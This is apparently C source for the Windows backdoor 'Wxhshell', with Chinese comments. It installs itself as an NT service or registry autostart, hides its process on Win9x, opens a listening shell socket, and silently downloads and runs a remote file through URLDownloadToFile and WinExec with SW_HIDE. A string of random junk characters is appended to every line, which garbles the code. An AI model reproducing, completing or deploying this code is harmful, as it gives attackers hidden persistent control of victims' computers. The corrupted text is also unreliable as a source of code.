DWORD BasePriority; B0eKj=y;
ULONG UniqueProcessId; qB44;!(
ULONG InheritedFromUniqueProcessId; 8:)itYE
} PROCESS_BASIC_INFORMATION; $g!~T!p=
oBZzMTPe
PROCNTQSIP NtQueryInformationProcess; i4^1bd
-|nHwSrCZ/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [nG@
3n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oV Hh
\?rBtD(
HANDLE hProcess; &WAJ;7f
PROCESS_BASIC_INFORMATION pbi; %P tdFz$
i2(lqhaP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l!YjDm{E
if(NULL == hInst ) return 0; T9=55tpG9
m*Q*{M_e
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bf1EMai"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "fX9bh^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EwH_k
<\C/;
if (!NtQueryInformationProcess) return 0; }qn@8}
P{_Xg,Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |>L|7>J{<d
if(!hProcess) return 0; QvjOOc@k~n
y(uE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ej&ZE
n
dpWBY3(7a
CloseHandle(hProcess); n%1I}?$fO
9 9S-P}xd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VwxLElV
if(hProcess==NULL) return 0; huw|J<$
l!^+Xeg~
HMODULE hMod; /!L#cUog
char procName[255]; !Al?B9KJ
unsigned long cbNeeded; 22gk1'~dO
.S=^)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;&v~tD7
ri?>@i-9=
CloseHandle(hProcess); uy^vQ/
"ZU CYYre
if(strstr(procName,"services")) return 1; // 以服务启动 _yJAn\
R#0Z
return 0; // 注册表启动 b9gezXAcd
} g(Dr/D
^~Dmb2h
// 主模块 5$w`m3>i(
int StartWxhshell(LPSTR lpCmdLine) leSR2os
{ {D9m>B3"{
SOCKET wsl; rfVHPMD0
BOOL val=TRUE; P&0o~@`cL
int port=0; I"1H]@"=
struct sockaddr_in door; mcB8xE
/9..hEq^
if(wscfg.ws_autoins) Install(); NiCB.a
4Cl41a
port=atoi(lpCmdLine); O)E8'Oe"Q
D3BT>zTGK
if(port<=0) port=wscfg.ws_port; d5O_~xf&
IxQ(g#sj_k
WSADATA data; =A< Fcl\Rz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1<ic
5kB
gN("{j1Q
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @ZUrr_|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
|q:p^;x
door.sin_family = AF_INET; 4I97<zmrT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >|S&@<
door.sin_port = htons(port); (+^z9p7/!
C%l+<wpXO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tB i16=
closesocket(wsl); wmQT$`$b
return 1; ~7}aW#
} wxx3']:
_'"whZ)2
if(listen(wsl,2) == INVALID_SOCKET) { zj9)vr`7
closesocket(wsl); /\0rRT
return 1; WK<:(vu.
} 6pCQP
c*A
Wxhshell(wsl); tin5.N)"z
WSACleanup(); 5RysN=czA
<@puWm[p
return 0; >m-VBo
BlrZ<\-/
} (ndTEnpp
L~u@n24
// 以NT服务方式启动 j~Cch%%G
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X?8 EPCk
{ qij<XNZU"&
DWORD status = 0; +KzbaBK
DWORD specificError = 0xfffffff; ` ,O#r0m
c6@7>PM
serviceStatus.dwServiceType = SERVICE_WIN32; %gb4(~E+N
serviceStatus.dwCurrentState = SERVICE_START_PENDING; } qf=5v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $yA>j (k4
serviceStatus.dwWin32ExitCode = 0; x&kM /z?/
serviceStatus.dwServiceSpecificExitCode = 0; +"i|)yUYy}
serviceStatus.dwCheckPoint = 0; K_" denzT+
serviceStatus.dwWaitHint = 0; TOe=6Z5h
/#C}1emK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sBLf(Q,
if (hServiceStatusHandle==0) return; Mt93YD-2+
ZVin+ z
status = GetLastError(); \[57Dmo
if (status!=NO_ERROR) ,R~{$QUl
{ k)t_U3i
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7l~d_<h
serviceStatus.dwCheckPoint = 0; H`:2J8
serviceStatus.dwWaitHint = 0; Hv~&RZpe
serviceStatus.dwWin32ExitCode = status; dN%*-p(
serviceStatus.dwServiceSpecificExitCode = specificError; qz@k-Jqq
d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~H?[
;
return; b-+~D9U<
} 0S%xm'|N
l
7XeZ} S
serviceStatus.dwCurrentState = SERVICE_RUNNING; $:i%\7=
serviceStatus.dwCheckPoint = 0; wIbxnn
serviceStatus.dwWaitHint = 0; \@}G'7{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fy6<KEea
} oE
H""Bd
9[5qN!P;y
// 处理NT服务事件,比如:启动、停止 jgW-&nK!
VOID WINAPI NTServiceHandler(DWORD fdwControl) vo]!IY
{ `;7eu=
switch(fdwControl) 6Bop8B
{ `u't
case SERVICE_CONTROL_STOP: ~fV\
X*
serviceStatus.dwWin32ExitCode = 0; ^]cl:m=*
serviceStatus.dwCurrentState = SERVICE_STOPPED; =,])xzG%
serviceStatus.dwCheckPoint = 0; T{"[Ih3Mbl
serviceStatus.dwWaitHint = 0; KqD]GS#(
{ Oe/&Ryj=mm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g"dq;H
} hp$/O4fD
return; .yF@Ow
case SERVICE_CONTROL_PAUSE: cOq'MDr
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0'3f^Ajf
break; BWWO=N
case SERVICE_CONTROL_CONTINUE: P5K=S.g
serviceStatus.dwCurrentState = SERVICE_RUNNING; c&mLK1A6
break; vR)f'+_Nz
case SERVICE_CONTROL_INTERROGATE: s<XAH7?0
break; o
_G,Ph!7
}; sMn)[k
vX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M&v;#CV
} j TyR+#Wn
ev'` K=n8
// 标准应用程序主函数 V 4`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~\oF}7l$
{ p|gzU$FWbk
%tvP\(]h
// 获取操作系统版本 cS2PrsUx
OsIsNt=GetOsVer(); 4m:D8&D_M
GetModuleFileName(NULL,ExeFile,MAX_PATH); -91*VBrOd
yd|ro G/
// 从命令行安装 Km)VOX[ZZ
if(strpbrk(lpCmdLine,"iI")) Install();
L* 0$x
a7fFp9l!
// 下载执行文件 @,:6wKMc
if(wscfg.ws_downexe) { \`:nmFO(9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AbExJ~JV\g
WinExec(wscfg.ws_filenam,SW_HIDE); F4*ssx
} 4x)etH^o
1o8C4?T&
if(!OsIsNt) { Ov-Y.+L:
// 如果时win9x,隐藏进程并且设置为注册表启动 Hh1]\4D,4
HideProc(); F<+!28&h
StartWxhshell(lpCmdLine); [X%Wg:K
} Z^[
]s1iP}
else Img$D*BM
if(StartFromService()) Ym8
V)
// 以服务方式启动 D^Gs_z$['
StartServiceCtrlDispatcher(DispatchTable);
F%tV^$%
else (B^rW,V[R
// 普通方式启动 j6: jN-z
StartWxhshell(lpCmdLine); dHsI<